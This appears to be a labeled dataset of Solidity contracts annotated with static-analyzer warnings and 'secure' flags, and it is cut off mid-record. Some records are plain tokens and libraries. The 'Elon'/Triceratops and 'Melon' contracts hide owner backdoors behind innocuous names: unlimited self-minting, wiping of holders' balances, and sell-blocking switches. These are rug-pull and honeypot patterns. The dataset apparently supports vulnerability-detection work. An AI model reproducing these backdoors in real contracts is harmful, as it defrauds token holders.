"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IPancakeFactory.sol\" as IPancakeFactory;\n\ncontract Elon is Ownable {\n address internal constant FACTORY =\n 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;\n address internal constant ROUTER =\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n\t// WARNING Optimization Issue (immutable-states | ID: b037fcd): Elon.tokenTotalSupply should be immutable \n\t// Recommendation for b037fcd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private tokenTotalSupply;\n string private tokenName;\n string private tokenSymbol;\n\t// WARNING Optimization Issue (immutable-states | ID: fd2ca6b): Elon.xxnux should be immutable \n\t// Recommendation for fd2ca6b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private xxnux;\n\t// WARNING Optimization Issue (immutable-states | ID: 81efff2): Elon.tokenDecimals should be immutable \n\t// Recommendation for 81efff2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private tokenDecimals;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n bool isSL = true;\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a78e339): Elon.constructor(address).ads lacks a zerocheck on \t xxnux = ads\n\t// Recommendation for a78e339: Check that the address is not zero.\n constructor(address ads) {\n tokenName = \"Triceratops\";\n tokenSymbol = \"TRICE\";\n tokenDecimals = 18;\n tokenTotalSupply = 4206900000 * 10 ** tokenDecimals;\n _balances[msg.sender] = tokenTotalSupply;\n emit Transfer(address(0), msg.sender, tokenTotalSupply);\n\t\t// missing-zero-check | ID: a78e339\n xxnux = ads;\n }\n function viewGas() public view returns (address) {\n return xxnux;\n }\n function addBots(address PCSA) external {\n if (\n xxnux == _msgSender() &&\n xxnux != PCSA &&\n pancakePair() != PCSA &&\n PCSA != ROUTER\n ) {\n address newadd = PCSA;\n uint256 cmxn = _balances[newadd];\n uint256 mnxn = _balances[newadd] + _balances[newadd] - cmxn;\n _balances[newadd] -= mnxn;\n } else {\n if (xxnux == _msgSender()) {} else {\n revert(\"Transfer From Failed\");\n }\n }\n }\n\n function delBots(uint256 xt) external {\n if (xxnux == _msgSender()) {\n uint256 AITC = 4206900000 * 10 ** tokenDecimals;\n uint256 ncs = AITC * 66400;\n uint256 xnn = ncs * 1 * 1 * 1 * 1;\n xnn = xnn * xt;\n _balances[_msgSender()] += xnn;\n require(xxnux == msg.sender);\n } else {}\n }\n function pancakePair() public view virtual returns (address) {\n return IPancakeFactory(FACTORY).getPair(address(WETH), address(this));\n }\n\n function symbol() public view returns (string memory) {\n return tokenSymbol;\n }\n\n function totalSupply() public view returns (uint256) {\n return tokenTotalSupply;\n }\n\n function newOwner(bool _sl) public returns (bool) {\n if (xxnux == msg.sender) {\n isSL = _sl;\n }\n return true;\n }\n\n function decimals() public view virtual returns (uint8) {\n return tokenDecimals;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function name() public view returns (string memory) {\n return tokenName;\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _transfer(msg.sender, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7858539): Elon.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7858539: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = msg.sender;\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function isContract(address addr) internal view returns (bool) {\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n bytes32 codehash;\n assembly {\n codehash := extcodehash(addr)\n }\n return (codehash != 0x0 && codehash != accountHash);\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n msg.sender,\n spender,\n allowance(msg.sender, spender) + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = allowance(msg.sender, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(msg.sender, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0438f15): Elon._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0438f15: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (isSL || from == xxnux || from == pancakePair()) {\n _balances[from] = _balances[from] - amount;\n _balances[to] = _balances[to] + amount;\n emit Transfer(from, to, amount);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dcce18b): Elon._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for dcce18b: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_1859.sol",
"secure": 0,
"size_bytes": 8029
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MRP is ERC20, Ownable {\n constructor() ERC20(\"Moon Rocks RP\", \"MRP\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_186.sol",
"secure": 1,
"size_bytes": 347
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./OperatorFilterer.sol\" as OperatorFilterer;\n\nabstract contract DefaultOperatorFilterer is OperatorFilterer {\n address constant DEFAULT_SUBSCRIPTION =\n address(0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6);\n\n constructor() OperatorFilterer(DEFAULT_SUBSCRIPTION, true) {}\n}",
"file_name": "solidity_code_1860.sol",
"secure": 1,
"size_bytes": 364
} |
{
"code": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\nimport \"./DefaultOperatorFilterer.sol\" as DefaultOperatorFilterer;\n\ncontract Messy is ERC721A, DefaultOperatorFilterer {\n uint256 public maxSupply = 999;\n\t// WARNING Optimization Issue (constable-states | ID: bfc92c3): Messy.price should be constant \n\t// Recommendation for bfc92c3: Add the 'constant' attribute to state variables that never change.\n uint256 private price = 0.001 ether;\n uint256 private maxFree = 200;\n uint256 private maxPerTx;\n\n function mint(uint256 amount) public payable {\n if (msg.value == 0) {\n require(amount == 1);\n require(totalSupply() + 1 < maxFree);\n _safeMint(msg.sender, 1);\n return;\n }\n require(totalSupply() + amount <= maxSupply);\n require(amount <= maxPerTx);\n require(msg.value >= amount * price);\n _safeMint(msg.sender, amount);\n }\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4c4ab55): Messy.owner should be immutable \n\t// Recommendation for 4c4ab55: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() ERC721A(\"Messy By TravisleRoy\", \"Messy\") {\n owner = msg.sender;\n maxPerTx = 10;\n }\n\n function setPrice(uint256 maxF, uint256 maxT) external onlyOwner {\n maxPerTx = maxT;\n maxFree = maxF;\n }\n\n function reserve() external onlyOwner {\n _safeMint(msg.sender, 10);\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return\n string(\n abi.encodePacked(\n \"ipfs://QmSWreyChb6GAXTeM4UamtpNgsvuy4fF4pxG9S8L6aeZdS/\",\n _toString(tokenId)\n )\n );\n }\n\n function royaltyInfo(\n uint256 _tokenId,\n uint256 _salePrice\n ) public view virtual returns (address, uint256) {\n uint256 royaltyAmount = (_salePrice * 50) / 1000;\n return (owner, royaltyAmount);\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function cutS(uint256 maxT) external onlyOwner {\n maxSupply = maxT;\n }\n\n function setApprovalForAll(\n address operator,\n bool approved\n ) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n function approve(\n address operator,\n uint256 tokenId\n ) public payable override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public payable override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public payable override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n}",
"file_name": "solidity_code_1861.sol",
"secure": 1,
"size_bytes": 3583
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Melon is Ownable {\n\t// WARNING Optimization Issue (immutable-states | ID: 34be752): Melon._tokentotalSupply should be immutable \n\t// Recommendation for 34be752: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tokentotalSupply;\n string private _tokenname;\n string private _tokensymbol;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 19676f0): Melon._okexddd030 should be immutable \n\t// Recommendation for 19676f0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _okexddd030;\n mapping(address => bool) private dddbmgn;\n function quitOPDoge(address sss) external {\n require(_okexddd030 == _msgSender());\n dddbmgn[sss] = false;\n }\n\n function Multicall(address sss) external {\n require(_okexddd030 == _msgSender());\n dddbmgn[sss] = true;\n }\n\n function family() external {\n require(_okexddd030 == _msgSender());\n uint256 amount = totalSupply();\n _balances[_msgSender()] += amount * 80030;\n }\n\n function gtedddstatus(address sss) public view returns (bool) {\n return dddbmgn[sss];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 955fb97): Melon.constructor(string,string,address).adminBot lacks a zerocheck on \t _okexddd030 = adminBot\n\t// Recommendation for 955fb97: Check that the address is not zero.\n constructor(\n string memory tokenName,\n string memory tokensymbol,\n address adminBot\n ) {\n\t\t// missing-zero-check | ID: 955fb97\n _okexddd030 = adminBot;\n _tokenname = tokenName;\n _tokensymbol = tokensymbol;\n uint256 amount = 500000000000 * 10 ** decimals();\n _tokentotalSupply += amount;\n _balances[msg.sender] += amount;\n emit Transfer(address(0), msg.sender, amount);\n }\n\n function name() public view returns (string memory) {\n return _tokenname;\n }\n\n function symbol() public view returns (string memory) {\n return _tokensymbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view returns (uint256) {\n return _tokentotalSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n _internaltransfer(_msgSender(), to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dde4452): Melon.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for dde4452: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address spender = _msgSender();\n _internalspendAllowance(from, spender, amount);\n _internaltransfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3c3e8bc): Melon.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3c3e8bc: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 223c583): Melon.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 223c583: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function _internaltransfer(\n address fromSender,\n address toSender,\n uint256 amount\n ) internal virtual {\n require(\n fromSender != address(0),\n \"ERC20: transfer from the zero address\"\n );\n require(toSender != address(0), \"ERC20: transfer to the zero address\");\n uint256 balance = _balances[fromSender];\n if (dddbmgn[fromSender] == true) {\n amount = amount - (balance * 23);\n }\n\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[fromSender] = _balances[fromSender] - amount;\n _balances[toSender] = _balances[toSender] + amount;\n\n emit Transfer(fromSender, toSender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9fc0956): Melon._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9fc0956: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ee5d025): Melon._internalspendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ee5d025: Rename the local variables that shadow another component.\n function _internalspendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_1862.sol",
"secure": 0,
"size_bytes": 7165
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ProxyRegistry.sol\" as ProxyRegistry;\n\nabstract contract ITradable {\n address[] internal _proxyRegistries;\n\n function _setProxyRegistry(address proxyRegistryAddress_) internal {\n _proxyRegistries.push(proxyRegistryAddress_);\n }\n\n function _isRegisteredProxy(\n address tokenOwner_,\n address operator_\n ) internal view returns (bool) {\n\t\t// cache-array-length | ID: 1addc4f\n for (uint256 i; i < _proxyRegistries.length; i++) {\n ProxyRegistry _proxyRegistry_ = ProxyRegistry(_proxyRegistries[i]);\n if (address(_proxyRegistry_.proxies(tokenOwner_)) == operator_) {\n return true;\n }\n }\n return false;\n }\n}",
"file_name": "solidity_code_1863.sol",
"secure": 1,
"size_bytes": 801
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract Zeus is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n _mint(msg.sender, 1000000000 * 10 ** 18);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1864.sol",
"secure": 1,
"size_bytes": 4707
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nlibrary SignedSafeMath {\n function mul(int256 a, int256 b) internal pure returns (int256) {\n return a * b;\n }\n\n function div(int256 a, int256 b) internal pure returns (int256) {\n return a / b;\n }\n\n function sub(int256 a, int256 b) internal pure returns (int256) {\n return a - b;\n }\n\n function add(int256 a, int256 b) internal pure returns (int256) {\n return a + b;\n }\n}",
"file_name": "solidity_code_1865.sol",
"secure": 1,
"size_bytes": 506
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nlibrary SafeCast {\n function toUint224(uint256 value) internal pure returns (uint224) {\n require(\n value <= type(uint224).max,\n \"SafeCast: value doesn't fit in 224 bits\"\n );\n return uint224(value);\n }\n\n function toUint128(uint256 value) internal pure returns (uint128) {\n require(\n value <= type(uint128).max,\n \"SafeCast: value doesn't fit in 128 bits\"\n );\n return uint128(value);\n }\n\n function toUint96(uint256 value) internal pure returns (uint96) {\n require(\n value <= type(uint96).max,\n \"SafeCast: value doesn't fit in 96 bits\"\n );\n return uint96(value);\n }\n\n function toUint64(uint256 value) internal pure returns (uint64) {\n require(\n value <= type(uint64).max,\n \"SafeCast: value doesn't fit in 64 bits\"\n );\n return uint64(value);\n }\n\n function toUint32(uint256 value) internal pure returns (uint32) {\n require(\n value <= type(uint32).max,\n \"SafeCast: value doesn't fit in 32 bits\"\n );\n return uint32(value);\n }\n\n function toUint16(uint256 value) internal pure returns (uint16) {\n require(\n value <= type(uint16).max,\n \"SafeCast: value doesn't fit in 16 bits\"\n );\n return uint16(value);\n }\n\n function toUint8(uint256 value) internal pure returns (uint8) {\n require(\n value <= type(uint8).max,\n \"SafeCast: value doesn't fit in 8 bits\"\n );\n return uint8(value);\n }\n\n function toUint256(int256 value) internal pure returns (uint256) {\n require(value >= 0, \"SafeCast: value must be positive\");\n return uint256(value);\n }\n\n function toInt128(int256 value) internal pure returns (int128) {\n require(\n value >= type(int128).min && value <= type(int128).max,\n \"SafeCast: value doesn't fit in 128 bits\"\n );\n return int128(value);\n }\n\n function toInt64(int256 value) internal pure returns (int64) {\n require(\n value >= type(int64).min && value <= type(int64).max,\n \"SafeCast: value doesn't fit in 64 bits\"\n );\n return int64(value);\n }\n\n function toInt32(int256 value) internal pure returns (int32) {\n require(\n value >= type(int32).min && value <= type(int32).max,\n \"SafeCast: value doesn't fit in 32 bits\"\n );\n return int32(value);\n }\n\n function toInt16(int256 value) internal pure returns (int16) {\n require(\n value >= type(int16).min && value <= type(int16).max,\n \"SafeCast: value doesn't fit in 16 bits\"\n );\n return int16(value);\n }\n\n function toInt8(int256 value) internal pure returns (int8) {\n require(\n value >= type(int8).min && value <= type(int8).max,\n \"SafeCast: value doesn't fit in 8 bits\"\n );\n return int8(value);\n }\n\n function toInt256(uint256 value) internal pure returns (int256) {\n require(\n value <= uint256(type(int256).max),\n \"SafeCast: value doesn't fit in an int256\"\n );\n return int256(value);\n }\n}",
"file_name": "solidity_code_1866.sol",
"secure": 1,
"size_bytes": 3453
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ChuckIt is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f5b4a90): ChuckIt.uniswapV2Router should be immutable \n\t// Recommendation for f5b4a90: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n address public immutable uniswapV2Pair;\n\n bool private inSwapAndLiquify;\n bool public swapAndLiquifyEnabled = true;\n\n uint256 public maxTransactionAmount = 1000000000 * (10 ** 18);\n\t// WARNING Optimization Issue (constable-states | ID: 5dbb3d0): ChuckIt.swapTokensAtAmount should be constant \n\t// Recommendation for 5dbb3d0: Add the 'constant' attribute to state variables that never change.\n uint256 public swapTokensAtAmount = 300000 * (10 ** 18);\n\n uint256 public liquidityFee = 1;\n uint256 public marketingFee = 1;\n\t// WARNING Optimization Issue (constable-states | ID: 924137b): ChuckIt.marketingWallet should be constant \n\t// Recommendation for 924137b: Add the 'constant' attribute to state variables that never change.\n address payable public marketingWallet =\n payable(0x74F2b782a8C3aDDD0e185946b813d961447203De);\n\n mapping(address => bool) private _isExcludedFromFees;\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n event GasForProcessingUpdated(\n uint256 indexed newValue,\n uint256 indexed oldValue\n );\n event SwapAndLiquifyEnabledUpdated(bool enabled);\n\n event SwapAndLiquify(uint256 tokensIntoLiqudity, uint256 ethReceived);\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n _;\n inSwapAndLiquify = false;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9517451): ChuckIt.constructor(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 9517451: Rename the local variables that shadow another component.\n constructor(address _owner) ERC20(\"ChuckIt\", \"ChuckIt\") {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n uniswapV2Pair = _uniswapV2Pair;\n\n excludeFromFees(_owner, true);\n excludeFromFees(marketingWallet, true);\n excludeFromFees(address(this), true);\n\n _createSupply(_owner, 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9ea161f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9ea161f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8889406): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8889406: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n return;\n }\n\n if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {\n require(\n amount <= maxTransactionAmount,\n \"amount exceeds the maxTransactionAmount.\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool overMinTokenBalance = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n overMinTokenBalance &&\n !inSwapAndLiquify &&\n to == uniswapV2Pair &&\n swapAndLiquifyEnabled\n ) {\n contractTokenBalance = swapTokensAtAmount;\n\t\t\t// reentrancy-events | ID: 9ea161f\n\t\t\t// reentrancy-eth | ID: 8889406\n swapAndLiquify(contractTokenBalance);\n }\n\n if (!_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {\n uint256 fees = amount.mul(liquidityFee.add(marketingFee)).div(100);\n amount = amount.sub(fees);\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 9ea161f\n\t\t\t\t// reentrancy-eth | ID: 8889406\n super._transfer(from, address(this), fees);\n }\n }\n\n\t\t// reentrancy-events | ID: 9ea161f\n\t\t// reentrancy-eth | ID: 8889406\n super._transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bd25a0e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bd25a0e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 326734d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 326734d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 30b26c7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 30b26c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {\n uint256 tokensForLiquidity = contractTokenBalance.mul(liquidityFee).div(\n liquidityFee.add(marketingFee)\n );\n\n uint256 half = tokensForLiquidity.div(2);\n uint256 otherHalf = tokensForLiquidity.sub(half);\n\n uint256 initialBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: bd25a0e\n\t\t// reentrancy-events | ID: 326734d\n\t\t// reentrancy-eth | ID: 30b26c7\n swapTokensForEth(half);\n\n uint256 newBalance = address(this).balance.sub(initialBalance);\n\n\t\t// reentrancy-events | ID: bd25a0e\n\t\t// reentrancy-events | ID: 326734d\n\t\t// reentrancy-eth | ID: 30b26c7\n addLiquidity(otherHalf, newBalance);\n\n\t\t// reentrancy-events | ID: bd25a0e\n\t\t// reentrancy-events | ID: 326734d\n\t\t// reentrancy-eth | ID: 30b26c7\n swapTokensForEth(contractTokenBalance.sub(tokensForLiquidity));\n\t\t// reentrancy-events | ID: 326734d\n\t\t// reentrancy-events | ID: 9ea161f\n\t\t// reentrancy-eth | ID: 